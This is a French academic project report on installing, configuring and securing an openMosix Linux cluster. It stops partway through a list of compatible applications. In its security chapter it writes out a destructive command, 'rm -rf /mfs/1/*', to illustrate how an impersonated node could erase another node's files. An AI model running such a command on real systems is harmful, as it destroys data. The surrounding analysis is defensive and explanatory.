

Cluster Management Software

Nicolas Bonvin
`nicolas.bonvin@epfl.ch`

Computer Science

Semester Project

March 2003

Responsible

Prof. Serge Vaudenay
`serge.vaudenay@epfl.ch`
EPFL / LASEC

Supervisor

Pascal Junod
`pascal.junod@epfl.ch`
EPFL / LASEC

Table des matières

1	Introduction	5
1.1	Définition	5
1.2	OpenMosix	6
1.2.1	Fonctionnement	6
1.3	Beowulf	7
1.4	Configuration logicielle	7
1.5	Configuration matérielle	8
2	Installation	9
2.1	Installation de Gentoo Linux	9
2.2	Installation d'OpenMosix	9
2.2.1	Installation du noyau sous Gentoo	10
2.2.2	Installation du noyau sur un autre système Gnu/Linux	10
2.2.3	Compilation du noyau	10
2.2.4	Installation des outils <i>OpenMosix</i>	12
2.3	Configuration	12
2.3.1	Fichier <i>/etc/mosix.map</i>	12
2.3.2	Fichier <i>/etc/fstab</i>	13
2.3.3	Fichier <i>/etc/hosts</i>	13
2.3.4	Lancement d' <i>OpenMosix</i>	14
3	Fonctionnement	15
3.1	Aspects généraux	15
3.2	Algorithmes de partage de ressources	17
3.3	Migration de processus	18
3.4	Accès au fichiers	19
3.5	openMosix FileSystem (MFS)	19
4	Éléments de sécurité	21
4.1	Vulnérabilités	21
4.1.1	Authentification réseau	21

4.1.2	Authentification utilisateur	22
4.1.3	Abus	23
4.1.4	Réseau	23
5	Applications et openMosix	25
5.1	Applications compatibles	25
5.2	Applications non compatibles	26
6	Programmes réalisés durant le projet	27
6.1	Exemple d'attaque	27
6.1.1	Attaque par saturation	27
6.1.2	Vol de clé de chiffrement	28
6.2	Programmes tirant profit du cluster	30
6.2.1	Courbes elliptiques	30
6.2.2	Recherche exhaustive	30
6.3	Codes source	32
6.3.1	<i>memory.c</i>	32
6.3.2	<i>dump.c</i>	32
6.3.3	<i>blowfish.c</i>	34
6.3.4	<i>readdump.c</i>	39
6.3.5	<i>des_encrypt.c</i>	41
6.3.6	<i>des_decrypt.c</i>	45
6.3.7	<i>des_search_fork.c</i>	49
6.3.8	<i>ecm_fact.c</i>	56
7	Sources	63

1 | Introduction

Ce document donne d'abord un aperçu des différents types de clusters disponibles sous *GNU/Linux*. Dans un premier temps, il explique de manière simple et structurée comment installer un cluster *openMosix* sur un réseau local. Il peut être pris comme un guide d'installation pas à pas. Quelques explications sur le fonctionnement interne d'*openMosix* ainsi que sa sécurité dans un réseau considéré comme « non sûr ». Deux exemples d'attaque sont disponibles. Afin de montrer la puissance d'un cluster *openMosix*, une application de recherche exhaustive de clé d'un algorithme¹ de chiffrement par bloc a été développée. De plus, l'adaptation pour *openMosix* d'un logiciel de factorisation de grands nombres écrit par Thomas Baignères a été réalisée.

1.1 Définition

Le *clustering*² fait référence à une technologie basée sur la combinaison de machines afin de résoudre des problèmes nécessitant un nombre important de calculs. Les calculs peuvent être liés à une seule application, ou à une multitude de programmes n'ayant aucun rapport les uns avec les autres. Il existe deux bibliothèques très répandues pour programmer des applications utilisant le clustering : PVM³ et MPI⁴, qui sont utilisées dans les systèmes de clusters comme *Beowulf*. L'inconvénient est que les programmes doivent être conçus spécifiquement pour le clustering ! Pour des applications spécifiques, particulièrement dans le domaine scientifique, ce n'est pas un problème, puisque ce genre de programme est souvent écrit en partant de zéro, il n'y a pas de contrainte pour implémenter une des bibliothèques précitées. Malheureusement, la plupart des utilisateurs ne programment pas leurs propres logiciels, et ne peuvent donc pas bénéficier du clustering tel que défini plus haut. Heureusement, *openMosix* résout cet épineux problème.

1. *DES 56 bits*

2. Cette définition est issue d'un article paru sur le site *linuxfrench.net*

3. http://www.epm.ornl.gov/pvm/pvm_home.html

4. <http://www-unix.mcs.anl.gov/mpi/>

1.2 OpenMosix

openMosix est un clone⁵ du projet *Mosix*. C'est une solution de clustering pour Linux qui permet d'utiliser la technologie du clustering sans modifier ni recompiler la moindre application (si ce n'est le noyau). Concrètement, c'est un patch du noyau Linux, ainsi que quelques outils.

1.2.1 Fonctionnement

openMosix offre à Linux une solution de clustering plutôt intéressante, en utilisant une méthode proche de celle du load-balancing⁶. Un cluster *openMosix* est composé de machines (a priori hétérogènes) appelées *noeuds*. Si un noeud doit exécuter plusieurs tâches demandant un temps CPU important, alors que ses voisins sont complètement inactifs, *openMosix* va alors prendre la décision de migrer certains processus demandant un temps CPU important sur les noeuds les plus puissants et les plus inactifs du cluster, afin d'équilibrer la charge totale sur le maximum de noeuds. La migration est totalement transparente, et le processus ne sait pas qu'il a été migré. Il n'a d'ailleurs pas besoin de le savoir !

Grâce à *openMosix*, il est possible de transformer un groupe de machines en une sorte de machine virtuelle multiprocesseur (SMP); à la différence près que sur une machine multiprocesseur, les échanges de données entre processeurs se font extrêmement rapidement. Avec *openMosix* les échanges de données se font au travers d'une connexion réseau. Il est conseillé d'utiliser au moins du Fast Ethernet, voire du Gigabit Ethernet pour minimiser les temps de migrations des processus.

Autre avantage: *openMosix* permet de créer un cluster de plusieurs dizaines, voire centaines de noeuds avec des machines peu onéreuses ou obsolètes.

Malgré tout, il faut garder en mémoire qu'*openMosix* fonctionne comme un système SMP, c'est-à-dire qu'il ne pourra pas faire tourner une application sur plusieurs noeuds à la fois (sauf si celle-ci se découpe en plusieurs processus). L'application sera juste migrée sur le noeud le plus rapide et le plus inactif. Par conséquent, s'il n'y a jamais plus de trois processus gourmands en CPU et/ou en mémoire qui tournent au même moment, ce n'est

5. Des désaccords quant aux directions à prendre pour le futur de *Mosix* ont incité une partie des développeurs à entamer leur propre projet

6. D'autres algorithmes, avec une priorité parfois plus élevée, entrent également en scène

pas la peine d'avoir plus de trois noeuds !

1.3 Beowulf

Beowulf est une architecture multi-ordinateurs qui peut être utilisée pour la programmation parallèle. Ce système comporte habituellement un noeud serveur, et un ou plusieurs noeuds clients connectés entre eux à travers Ethernet ou tout autre réseau. C'est un système construit en utilisant des composants matériels existants, comme tout simple PC, des adaptateurs Ethernet standards, et des switches. Il ne contient aucun composant matériel propre et est aisément reproductible. *Beowulf* utilise aussi des éléments comme le système d'exploitation *GNU/Linux*, *Parallel Virtual Machine (PVM)* et *Message Passing Interface (MPI)*. Le noeud serveur contrôle l'ensemble du cluster et sert de serveur de fichiers pour les noeuds clients. Il est aussi la console du cluster et la passerelle (*gateway*) vers le monde extérieur. De grands clusters *Beowulf* peuvent avoir plus d'un noeud serveur, et éventuellement aussi d'autres noeuds dédiés à des tâches particulières, par exemple comme consoles ou stations de surveillance. Dans de nombreux cas, les noeuds clients d'un système *Beowulf* sont basiques : les noeuds sont configurés et contrôlés par le noeud serveur, et ne font que ce qu'on leur demande de faire. Dans une configuration client sans disque (*diskless*), les noeuds clients ne connaissent même pas leur adresse IP ou leur nom jusqu'à ce que le serveur leur dise qui ils sont. Une des principales différences entre *Beowulf* et un cluster de stations de travail (tel *openMosix*) est le fait que *Beowulf* se comporte plus comme une simple machine plutôt que comme plusieurs stations de travail. Dans de nombreux cas, les noeuds clients n'ont pas de claviers ni de moniteurs, et on n'y accède que par une connection distante ou par un terminal série. Les noeuds *Beowulf* peuvent être envisagés comme un CPU accompagné d'un ensemble de mémoires qui peuvent être branchées dans le cluster, exactement comme un CPU ou un module mémoire peut être branché sur une carte mère.

1.4 Configuration logicielle

Pour rédiger ce document, je me suis basé sur un réseau de machines tournant sous Linux. Mon choix s'est porté vers la distribution Gentoo Linux⁷ dans sa version 1.4 RC3. Bien que Gentoo Linux se montre un très bon choix pour de multiples raisons, il est tout à fait envisageable de choisir une

7. <http://www.gentoo.org>

version différente de Gnu/Linux. Les explications fournies dans ce document se rapporteront donc essentiellement à Gentoo Linux.

1.5 Configuration matérielle

Je dispose de trois machines. Ce sont de simples PC (Intel x86) tous différents. Nul besoin d'avoir un parc de machines homogènes.

2 | Installation

Ce chapitre traite de l'installation d'*openMosix* sur Gentoo Linux.

2.1 Installation de Gentoo Linux

L'installation de Gentoo Linux est aisée pour une personne ayant quelques connaissances préalables de Gnu/Linux. Cependant, comme cette distribution est dite « source based¹ », il vous faudra quelques heures pour avoir un système minimal. L'installation de Gentoo Linux n'est pas décrite dans ce document. De plus amples indications sont disponibles à cette URL :

<http://www.gentoo.org/doc/en/gentoo-x86-install.xml>

Afin de gagner un peu de temps, il est possible dès l'installation de choisir le noyau destiné à *openMosix*. Lorsque du choix d'un noyau² pour Gentoo Linux, il est recommandé d'opter pour *openmosix-source*. Pour connaître les options de compilation relatives à *openMosix*, rendez-vous à la section 2.2.3 « Compilation du noyau » de l'installation d'*openMosix*.

A ce stade, les machines du cluster ont un système minimal de Gentoo Linux.

2.2 Installation d'OpenMosix

Ce chapitre traite de l'installation proprement dite d'*openMosix*. Cette partie est très aisée sous Gentoo Linux. Pour commencer, il faut installer³ un noyau patché *openMosix*. Gentoo en fournit un déjà tout prêt. Sur d'autres distributions de Gnu/Linux, il faudra patcher à la main votre noyau.

1. Aucun binaire n'est fourni. Il faut construire toutes les applications à partir des sources

2. Chapitre « 15. Installing the kernel and a System Logger » basé sur l'installation disponible à l'adresse sus-mentionnée

3. Cette étape peut être réalisée lors de l'installation de GNU/Linux

2.2.1 Installation du noyau sous Gentoo

Un noyau déjà patché est disponible. Pour l'installer, il suffit de taper la commande suivante :

- `emerge sys-kernel/openmosix-sources`

2.2.2 Installation du noyau sur un autre système Gnu/Linux

Avec une autre distribution, il est nécessaire de patcher son noyau à la main. De plus, il faut absolument utiliser un noyau *vanilla* pur disponible sur le site internet www.kernel.org, et non pas le noyau fourni avec votre distribution. Il est également possible de prendre un noyau déjà patché. Pour plus d'informations, consultez le site⁴ d'*openMosix*.

Récupération des fichiers

Tous les fichiers nécessaires à *openMosix* se trouvent à cette adresse :
http://sourceforge.net/project/showfiles.php?group_id=46729

Installation

Choisissez le rpm correspondant à votre type de machine (athlon, i386, i686, ...). Ensuite pour l'installer :

- `rpm -vih openmosix-kernel-2.4.20-openmosix2.i686.rpm`

Installation manuelle

Le patch se nomme, par exemple, `openMosix-2.4.20-2.gz`. Ce fichier correspond au noyau 2.4.20. Choisissez le patch correspondant à votre noyau. Je vous rappelle que ce dernier doit être un noyau vanilla pur.

- `cp /votre/path/openMosix-2.4.20-2.gz /usr/src`
- `cd /usr/src/linux`
- `zcat ../openMosix-2.4.20-2.gz | patch -p1`

2.2.3 Compilation du noyau

A ce stade, les machines du cluster doivent posséder un noyau patché. Pour le compiler il faut choisir les bonnes options de compilation. Voici la marche à suivre :

- `cd /usr/src/linux`

4. <http://openmosix.sourceforge.net/>

- `make mrproper`
- `make menuconfig`

Dans le menu « openMosix », activez les options suivantes :

- `openMosix` --
 - openMosix process migration support*
- `openMosix` --
 - Support clusters with a complex network topology*
- `openMosix` --
 - Stricter⁵ Security on openMosix ports*
- `openMosix` --
 - openMosix File-System*
- `openMosix` --
 - Poll/Select exceptions on pipes*
- `openMosix` --
 - Direct File-System Access (non disponible dans le noyau fourni par Gentoo)*

A titre de rappel voici les options supplémentaires requises par Gentoo :

- `Code maturity level options` --
 - Prompt for development and/or incomplete code/drivers*
- `File systems` --
 - Virtual memory file system support (former shm fs)*
- `File systems` --
 - /proc file system support*
- `File systems` --
 - /dev file system support (EXPERIMENTAL)*
- `File systems` --
 - Automatically mount at boot*
- `File systems` --
 - /dev/pts file system for Unix98 PTYs (déchocher cette case)*

Pour lancer la compilation du noyau et sa mise en place sur la partition de boot (je suppose qu'elle se nomme /dev/hda1) :

- `make dep && make clean bzImage modules modules_install`
- `mount /dev/hda1 /boot`
- `cp /usr/src/linux/arch/i386/boot/bzImage /boot`

5. Les ports utilisés par *openMosix* sont limités, afin de permettre l'utilisation d'un firewall

Si vous utilisez LILO, il est nécessaire de le mettre à jour :

- `/sbin/lilo`

Pour terminer, il serait judicieux de « démonter » votre partition :

- `umount /dev/hda1`

2.2.4 Installation des outils *OpenMosix*

Ces outils sont nécessaires afin de tirer le meilleur parti de votre futur cluster.

Installation sous Gentoo

Comme d'habitude l'installation sous Gentoo est aisée. Il suffit de faire :

- `emerge openmosix-user`

Installation sur un autre système Gnu/Linux

Tous les fichiers se trouvent à cette adresse :

http://sourceforge.net/project/showfiles.php?group_id=46729

Vous avez la possibilité d'utiliser un rpm ou un tgz. Pour plus d'informations, référez-vous au fichier README accompagnant le paquetage.

2.3 Configuration

Cette section traite des fichiers qu'il faut éditer afin de faire fonctionner correctement *openMosix*.

2.3.1 Fichier */etc/mosix.map*

Afin qu'*openMosix* connaisse le nombre de noeuds présents et leurs adresses IP, il faut configurer le fichier */etc/mosix.map*⁶. Exemple :

```
1 192.168.0.1 1
2 192.168.0.2 1
3 192.168.0.3 1
```

6. ATTENTION : ce fichier doit comporter seulement les informations relatives aux noeuds. Aucun commentaire ne doit y figurer.

Le format est le suivant :

```
numéro du noeud  adresse ip  range
```

L'attribut *range* permet de simplifier la configuration d'un grand nombre de noeuds. Imaginons que notre réseau *openMosix* se compose de dix machines ayant comme ip les adresses 192.168.1.1 à 192.168.1.10. Cet attribut permet de spécifier le nombre de machines ayant des adresses ip se suivant. Par exemple :

```
1  192.168.1.1  10
```

Sans l'attribut *range*, il aurait fallu mettre dix lignes dans le fichier */etc/mosix.map*, une par noeud.

2.3.2 Fichier */etc/fstab*

openMosix utilisant son propre système de fichiers, il faut le déclarer au bon endroit. Pour cela, éditez le fichier */etc/fstab* avec un éditeur de texte, après avoir créer le répertoire suivant :

- `mkdir /mfs`
- `nano -w /etc/fstab`

Voici la ligne à y inclure :

```
oMFS  /mfs  mfs  dfsa=1  0  0
```

2.3.3 Fichier */etc/hosts*

Il est recommandé d'également modifier ce fichier en y incluant tous les noeuds, par exemple :

```
127.0.0.1    localhost
192.168.0.1  cluster1
192.168.0.2  cluster2
192.168.0.3  cluster3
```

2.3.4 Lancement d'*OpenMosix*

Il vous suffit de lancer la commande suivante :

- `/etc/init.d/openmosix start`

Sous Gentoo Linux, utilisez la commande suivante pour lancer *openMosix* automatiquement au démarrage de votre ordinateur :

- `rc-update add openmosix default`

3 | Fonctionnement

Ce chapitre explique de manière un peu plus technique le fonctionnement interne d'*openMosix*.

3.1 Aspects généraux

openMosix est un patch pour le noyau Linux comprenant plusieurs algorithmes permettant de partager des ressources. Il autorise plusieurs machines mono-processeur ou multi-processeurs utilisant le même noyau à travailler en étroite collaboration. Les algorithmes de partage de ressources d'*openMosix* sont prévus pour répondre aux variations d'utilisation de ressources parmi tous les noeuds du cluster. Ceci est rendu possible par la migration des processus d'un noeud vers un autre de manière transparente afin de répartir la charge et d'éviter au système de devoir mettre des informations en cache. Le but est d'améliorer la performance générale (comprendre : de tout le cluster) et de créer en environnement multi-utilisateurs à temps partagé pour l'exécution d'applications aussi bien parallèles que séquentielles. Les ressources de l'ensemble du cluster sont disponibles pour chaque noeud.

L'implémentation actuelle d'*openMosix* est prévue pour tourner sur des clusters basés sur des stations de travail x86¹ indifféremment mono-processeur ou multi-processeurs, connectées par un LAN standard.

La technologie *openMosix* comprend deux parties : un mécanisme de migration préventive des processus, *Preemptive Process Migration (PPM)*, et un ensemble d'algorithmes pour le partage adaptatif de ressources. Ces parties sont implémentées au niveau du noyau, en utilisant un module, de façon à ce que l'interface du noyau reste inchangée. Elles sont totalement transparentes pour le niveau d'application.

Le *PPM* peut migrer n'importe quel processus, n'importe quand, vers

1. Les processeurs de la famille IA-32 et IA64 sont supportés.

n'importe lequel des noeuds disponibles. Normalement, la décision de migrer un processus est basée sur l'information d'un des algorithmes. Cependant, les utilisateurs peuvent prendre la main sur les décisions automatiques du système et faire migrer leur processus manuellement.

Chaque processus possède un *Unique Home-Node (UHN)* qui correspond au numéro du noeud où il a été créé. Normalement, c'est le noeud auquel l'utilisateur s'est authentifié. Chaque processus a l'impression de s'exécuter sur son *UHN*, de plus, tous les processus d'une session utilisateur partagent l'environnement d'exécution du *UHN*. Les processus migrant vers d'autres noeuds distants utilisent les ressources locales (du noeud distant) autant que possible, mais interagissent avec l'environnement utilisateur à travers le *UHN*. Prenons un exemple : un utilisateur lance plusieurs processus, dont certains migrent vers des noeuds distants. Si l'utilisateur exécute la commande `ps`, cette dernière reportera l'état de tous les processus, y compris ceux s'exécutant sur des noeuds distants. Si l'un des processus ayant migrés cherche à lire l'heure courante en invoquant la fonction `gettimeofday()`, il recevra en retour l'heure courante du *UHN*.

Le mécanisme de migration préventive des processus, *PPM*, est l'outil principal pour les algorithmes de gestion des ressources. Aussi longtemps que les demandes en ressources, comme le CPU ou la mémoire principale, restent en dessous d'un certain seuil, les processus de l'utilisateur restent sur le *UHN*. Ce seuil dépassé, certains processus vont migrer vers des noeuds distants afin de profiter des ressources disponibles. Le but en général est de maximiser la performance grâce à une utilisation efficace et judicieuse des ressources disponibles sur l'ensemble du réseau. La granularité de distribution de tâches dans *openMosix* est de l'ordre du processus². Les utilisateurs peuvent faire tourner des applications parallèles en lançant de multiples processus sur un noeud, le système fera alors migrer ces processus vers les meilleurs noeuds disponibles à ce moment-là. Si, durant l'exécution des processus, de nouvelles ressources se libèrent, les algorithmes tenteront d'utiliser ces dernières en réassignant des processus vers d'autres noeuds. Cette capacité à assigner et à réassigner des processus est particulièrement importante pour la facilité d'utilisation et pour fournir un environnement d'exécution à temps partagé multi-utilisateurs efficace.

openMosix n'a pas de contrôle central ou de relations maître/esclave entre

2. Certains autres clusters expérimentaux ont une granularité plus fine, permettant la migration de threads

les différents noeuds : chaque noeud peut travailler en tant que système autonome, et peut prendre toutes ses décisions de contrôle indépendamment. Cette conception autorise une configuration dynamique, où des noeuds peuvent rejoindre ou quitter le cluster avec le minimum de dérangements. Ceci permet une très bonne extensibilité et assure également que le système peut tourner aussi bien sur de large configuration que sur des configurations plus modestes. L'extensibilité est obtenue en incorporant des éléments aléatoires dans les algorithmes de contrôle du système : chaque noeud base ses décisions sur la connaissance partielle de l'état des autres noeuds et ne cherche pas à déterminer l'état de tous les noeuds du cluster ou d'un noeud en particulier. Par exemple, dans l'algorithme de dissémination probabiliste de l'information, chaque noeud envoie à intervalles réguliers des informations concernant ses ressources disponibles vers un sous-ensemble de noeuds choisi aléatoirement³. Dans un même temps, le noeud garde une petite fenêtre contenant les informations les plus récentes des autres noeuds.

3.2 Algorithmes de partage de ressources

Les principaux algorithmes de partage de ressources sont ceux permettant la répartition de charge, *load-balancing*, et la gestion de la mémoire. L'algorithme de répartition de charge dynamique tente continuellement de réduire les différences de charge entre des paires de noeuds, en migrant les processus du noeud le plus chargé vers le moins chargé. Cette technique est décentralisée; tous les noeuds exécutent les mêmes algorithmes et la réduction des différences de charge s'effectue de manière indépendante par paires. Le nombre de processeurs ainsi que leur vitesse sont des facteurs importants pour l'algorithme de répartition de charge. Ce dernier réponds au changement de charges des noeuds ou aux caractéristiques d'exécution des processus.

Il y a deux principaux algorithmes de partage de ressources sous Linux. Le premier, l'algorithme de gestion de la mémoire, s'occupe de placer le nombre maximum de processus dans la RAM de tout le cluster, afin d'éviter au maximum la mise en cache d'informations. L'algorithme rentre en scène lorsqu'un noeud commence à faire de très nombreuses fautes de pages dues à une pénurie de mémoire vive. Dans ce cas-là, l'algorithme supplante l'algorithme de répartition de charge et cherche à migrer un processus vers un noeud possédant assez de mémoire vive disponible, même si cela à pour effet de créer une répartition de charge non unie. Plus tard, *openMosix* a introduit un nouvel algorithme pour choisir le noeud sur lequel doit tourner un

3. Si on envoie ces informations à tous les noeuds, le noeud le plus disponible serait très rapidement surchargé

programme. Son modèle mathématique provient de la recherche effectuée dans le monde de l'économie. L'idée centrale est de convertir l'usage total de différentes ressources hétérogènes, comme le CPU ou la mémoire vive, en un unique coût homogène. Les tâches sont assignées aux noeuds possédant le plus bas coût.

3.3 Migration de processus

openMosix permet une migration préventive et totalement transparente des processus (*PPM*). Après avoir migré, un processus continue d'interagir avec son environnement indépendamment d'où il se trouve. Afin d'implémenter le *PPM*, le processus est divisé en deux contextes : le contexte utilisateur, qui peut migrer, et le contexte système qui, lui, est dépendant du *UHN* et ne peut migrer.

Le contexte utilisateur contient le code du programme, la pile, les données, les tables de mémoires et les registres du processus. Ce contexte encapsule le processus lorsqu'il s'exécute en mode utilisateur. Le contexte système contient une description des ressources auxquelles est attaché le processus et une pile-noyau pour l'exécution de code système au nom du processus. Ce contexte encapsule le processus lorsqu'il tourne en mode noyau, c'est pourquoi il doit rester sur l'*UHN* du processus. Un processus peut migrer une multitude de fois vers différents noeuds, son contexte système ne bougera pas. Il est de fait possible d'intercepter toutes les interactions entre les deux contextes.

Lors de l'exécution d'un processus dans *openMosix*, la transparence de lieu est atteinte en transmettant les appels systèmes dépendant du lieu vers le contexte système sur le *UHN*. Les appels systèmes sont une forme synchronisée d'interaction entre les deux contextes du processus. Si l'appel système est indépendant du lieu, alors il sera exécuté par le contexte utilisateur localement (sur un noeud distant). Dans le cas contraire, l'appel sera transmis au contexte système qui va exécuter l'appel système sur l'*UHN* au nom du processus. Le contexte système renvoie alors le résultat vers le contexte utilisateur, lequel pourra continuer l'exécution du code de l'utilisateur.

D'autres formes d'interactions entre les deux contextes d'un processus sont les échanges de signaux et les événements de réveil de processus, comme par exemple lorsque des données arrivent du réseau. Ces événements imposent au contexte système à régulièrement localiser le contexte utilisateur et à interagir avec ce dernier.

3.4 Accès au fichiers

Un problème majeur de ce type de cluster (*System Image Cluster, SSI*) est que chaque noeud doit être capable de voir les systèmes de fichiers de tous les autres noeuds. Pourquoi? Si un programme qui ouvre le fichier */tmp/lasec* en lecture/écriture est lancé et que cette tâche migre vers un autre noeud, il doit toujours être possible de continuer à faire les entrées/sorties de et vers ce fichier.

Il y a deux manières de faire cela. Soit qu'*openMosix* intercepte toutes les entrées/sorties des tâches qui ont été migrées du noeud actuel vers un autre et d'envoyer ces requêtes au noeud d'origine. Ou alors, vous pouvez créer une vision globale du système de fichier à travers *NFS*. Jusqu'à maintenant *openMosix* supportait les deux options. Mais à l'heure actuelle, *openMosix* est livré avec le nouveau *Cluster File System for Linux* qui donne une vue à l'échelle du cluster de tous les systèmes de fichiers. L'équipe de développement a pris le meilleur de la recherche sur les systèmes de fichiers et l'a appliqué à *openMosix* : *DFSA*⁴ (*Direct File System Access*). Le système de fichier *DFSA* a été conçu pour réduire les coûts d'exécution d'appels systèmes orientés entrée/sortie d'un processus ayant migré. Ceci est réalisé en permettant l'exécution locale (sur le noeud actuel du processus) de la plupart des appels systèmes. En complément à *DFSA*, un nouvel algorithme prenant en compte les opérations d'entrée/sortie a été ajouté à la politique de distribution des processus (*load-balancing*). Avec ces améliorations, un processus faisant un nombre moyen à grand d'opérations d'entrée/sortie est encouragé à migrer vers le noeud sur lequel il fait la plupart de ces opérations. Contrairement à tous les systèmes de fichiers réseaux (comme *NFS*) qui transmettent les données du serveur de fichiers vers le client par le réseau, le cluster *openMosix* s'efforce de migrer le processus vers le noeud sur lequel réside en fait le fichier.

3.5 openMosix FileSystem (MFS)

Parallèlement à *openMosix* (qui migre les processus), un système de fichier distribué a été créé afin de permettre aux tâches exigeantes en entrée/sortie (c'est-à-dire: qui ont besoin de lire/écrire sur le disque dur). *MFS* exporte tous les répertoires de chaque noeud afin qu'ils soient accessibles par les autres noeuds. Ainsi, une fois *openMosix* et *MFS* activés, nous retrouvons

4. *DFSA* tourne au-dessus d'un système de fichier pour cluster, ici *MFS*

une structure qui ressemble à celle-ci :

- `ls /mfs`
`1/ 2/ 3/ home/ lastexec/ magic/ selected/`

Les numéros correspondent à chaque noeud du cluster. En vous déplaçant dans le répertoire `1/` vous vous retrouvez à la racine du noeud 1, et de même pour les autres noeuds.

- `1/` contient le système de fichiers du noeud 1
- `2/` contient le système de fichiers du noeud 2
- `3/` contient le système de fichiers du noeud 3
- `x/` contient le système de fichiers du noeud x
- `here/` contient le système de fichiers du noeud courant où s'exécute votre processus
- `home/` contient le système de fichiers de votre noeud initial
- `lastexec/` contient le système de fichiers du dernier noeud sur lequel le processus a exécuté l'appel système `execve` avec succès
- `magic/` contient le système de fichiers du noeud courant si le processus utilise l'appel système `creat` (ou l'appel système `open` avec l'option `O_CREAT`). Sinon, le répertoire contient le système de fichiers du dernier noeud sur lequel un fichier magique d'oMFS, *magical file*⁵, a été créé avec succès. (Ceci est très utile pour créer des fichiers temporaires, et aussitôt supprimer leur liens)
- `selected/` contient le système de fichier du noeud sélectionné par votre processus ou un de ses ancêtres (avant de faire un `fork`), en écrivant un numéro dans le fichier `/proc/self/selected`

MFS permet donc de distribuer les fichiers sur les disques durs locaux des différents noeuds et ce afin d'autoriser la migration des travaux qui ont besoin de lire/écrire des fichiers.

Sans système distribué, ces travaux seraient « bloqués » sur leur noeud d'origine car il ne serait pas optimal de les mettre sur un autre noeud dans la mesure où tous les échanges de données se feraient via le réseau, ce qui ralentirait beaucoup l'exécution de ce travail.

5. Le contenu de ces fichiers dépend du processus qui les a ouverts

4 | Éléments de sécurité

openMosix est installé le plus souvent sur un réseau de stations de travail utilisées par une multitude de personnes. Les stations de travail étant utilisées par exemple la journée par des employés pour leur travaux quotidiens, et le soir ces mêmes machines servent à effectuer des calculs plus importants. Ce réseau est donc à considérer comme « non sûr ». L'idéal est de pouvoir mettre les machines en réseau privé où seul un ordinateur est accessible depuis l'extérieur.

4.1 Vulnérabilités

4.1.1 Authentification réseau

openMosix ne propose aucune méthode d'authentification hormis les adresses IP des noeuds qui sont supposés faire partie du cluster. Un ordinateur capable de voler l'IP d'un noeud peut aisément se faire passer pour ce dernier et forcer les autres noeuds à faire des choses déplaisantes, ou alors profiter des ressources abondantes du cluster.

Par exemple, rien n'empêche une personne mal intentionnée de simplement débrancher le câble réseau d'une machine du cluster et de se faire passer pour cette dernière.

Recommandation : les machines ne doivent pas être accessibles physiquement. De plus, une seule machine doit être visible depuis un réseau externe. C'est depuis cette passerelle que les tâches doivent être lancées. Les autres machines du cluster doivent faire parties d'un réseau interne inaccessible depuis l'extérieur.

Le défaut de cette méthode radicale est que l'on perd la notion de cluster de stations de travail. Heureusement, les communications entre les différents noeuds du cluster se font au-dessus de la couche IP, ce qui permet par exemple de mettre en place un réseau virtuel privé (VPN) au-dessous ou au même niveau que la couche réseau.

IPSec

Une manière simple de sécuriser le trafic IP entre deux ordinateurs est d'implémenter une connection IPSec entre eux. Actuellement, il existe au moins deux options matures pour implémenter le support IPSec dans les noyaux Linux 2.4.X : le projet *FreeSWAN*¹ ainsi que le projet *USAGI*². Pour plus de sécurité, il est recommandé d'utiliser l'encapsulation complète (ESP) plutôt que la simple authentification (AH). De plus, il serait judicieux de mettre en place une politique de firewall visant par exemple à empêcher le trafic non chiffré.

Le prix de la sécurité

Le prix à payer pour plus de sécurité se compte en charge processeur, en temps de latence supérieur et en une réduction possible de la bande passante. Chiffrer et déchiffrer tout le trafic réseau à la volée est très coûteux ! Avant l'introduction de l'algorithme AES³ dans IPSec, le chiffrement en 3DES saturait un Pentium III 800 Mhz à plus ou moins 20 Mbits/s. Un PC récent peut traiter une interface réseau Fast Ethernet à 100 Mbits/s en utilisant AES. Cependant, même avec cette amélioration, le trafic réseau est clairement plus coûteux avec IPSec. Un bon compromis serait de n'utiliser que l'authentification et d'utiliser l'algorithme de chiffrement « null » pour chiffrer et déchiffrer le trafic réseau.

4.1.2 Authentification utilisateur

openMosix considère les utilisateurs au niveau du cluster. Un utilisateur *uid=1000(nico) gid=100(users)* sur le noeud 1 sera considéré comme étant le même utilisateur que *uid=1000(nico) gid=100(users)* sur le noeud 2. L'un et l'autre auront accès aux mêmes fichiers avec des droits identiques. Ceci est d'autant plus dangereux que l'on est *root* sur une des machine.

Imaginons que le Mosix File System (MFS) soit activé (comme il devrait l'être, pour des raisons de performances), une personne mal intentionnée pourrait simplement taper la commande suivante en tant que *root* :

```
- rm -rf /mfs/1/*
```

depuis son ordinateur en prétendant être le noeud numéro deux. Le noeud numéro un verrait ainsi son système de fichier disparaître.

1. <http://www.freeswan.org/>

2. <http://www.linux-ipv6.org/>

3. <http://csrc.nist.gov/CryptoToolkit/aes/rijndael/>

Recommandation : il ne doit y avoir qu'un seul et même administrateur pour tout le cluster. Lui seul doit posséder les droits *root*.

4.1.3 Abus

openMosix n'intègre aucune protection contre les abus de ressources. Une personne peut lancer autant de processus qu'elle le désire. Il n'y a aucune limite en taille mémoire utilisée, en nombre de processus, en charge CPU. Il est donc aisé de rendre le cluster inutilisable pour les autres usagers. Un exemple d'attaque est disponible à la section 6.1.1, page 27.

Recommandation : laisser accès à une seule machine du cluster, la *passerelle*, et utiliser des procédés identiques à ceux employés par les hébergeurs de sites internet pour limiter les actions des utilisateurs sur la *passerelle*. Il existe de nombreux moyens pour limiter les ressources accordées à un utilisateur. Pour Gentoo Linux, il suffit de modifier les fichiers */etc/limits* et */etc/security/limits.conf*⁴. Pour les autres versions de GNU/Linux, référez-vous à la documentation de votre système.

4.1.4 Réseau

Lorsqu'un processus migre vers un autre noeud, tout le contenu de la mémoire passe par le réseau. Il est alors envisageable de jeter un oeil sur ce contenu. Un exemple d'attaque est disponible à la section 6.1.2, page 28. Lorsqu'un processus migré lance un appel système, celui-ci s'effectue sur le *UHN* du processus. Il est théoriquement possible d'intercepter cet appel système, et de forger une réponse erronée destinée au processus.

Recommandation : utiliser une méthode de chiffrement du trafic réseau (cf. section 4.1.1, page 21).

4. Ce fichier fait partie du paquetage PAM et n'est utile que pour les paquetages utilisant PAM.

5 | Applications et openMosix

Voici une petite liste d'applications pouvant ou ne pouvant pas tirer partie d'*openMosix*.

5.1 Applications compatibles

1. Matlab 5. La version 6 utilise des threads et ne peut, par conséquent, pas migrer;
2. BLAST;
3. MJPEG Tools;
4. bladeenc. Exemple :

```
cdparanoia -B
for n in `ls *.wav`;
do bladeenc -quit -quiet $n -256 -copy -crc &
done;
```
5. POVRAY;
6. MPI;
7. John the Ripper;
8. Make;
9. Maple 8;
10. Postfix;
11. SETI@home;
12. Intel Fortran compiler (dans une version plus récente que 7.0.79);
13. CISILIA (perceur de mots de passe);
